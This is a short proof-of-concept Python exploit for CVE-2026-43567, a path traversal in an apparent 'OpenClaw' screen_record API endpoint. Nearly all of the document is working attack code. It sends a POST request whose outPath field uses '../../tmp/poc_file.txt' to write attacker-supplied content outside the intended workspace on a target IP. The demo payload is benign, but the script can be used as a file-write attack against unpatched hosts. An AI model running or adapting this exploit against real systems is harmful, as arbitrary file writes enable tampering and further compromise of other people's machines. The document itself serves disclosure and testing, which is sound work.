CVE-2026-43567

# PoC for CVE-2026-43567: Path Traversal in OpenClaw screen_record # This script demonstrates writing a file outside the designated workspace. import requests def exploit(target_ip, file_content): url = f"http://{target_ip}/api/screen_record" # The payload uses '../' to traverse up the directory tree # bypassing the workspace restriction. malicious_path = "../../tmp/poc_file.txt" data = { "outPath": malicious_path, "data": file_content } try: response = requests.post(url, data=data) if response.status_code == 200: return f"[+] Success: File potentially written to {malicious_path}" else: return f"[-] Failed: Server returned {response.status_code}" except Exception as e: return f"[-] Error: {str(e)}" if __name__ == "__main__": print(exploit("192.168.1.100", "CVE-2026-43567 Proof of Concept"))

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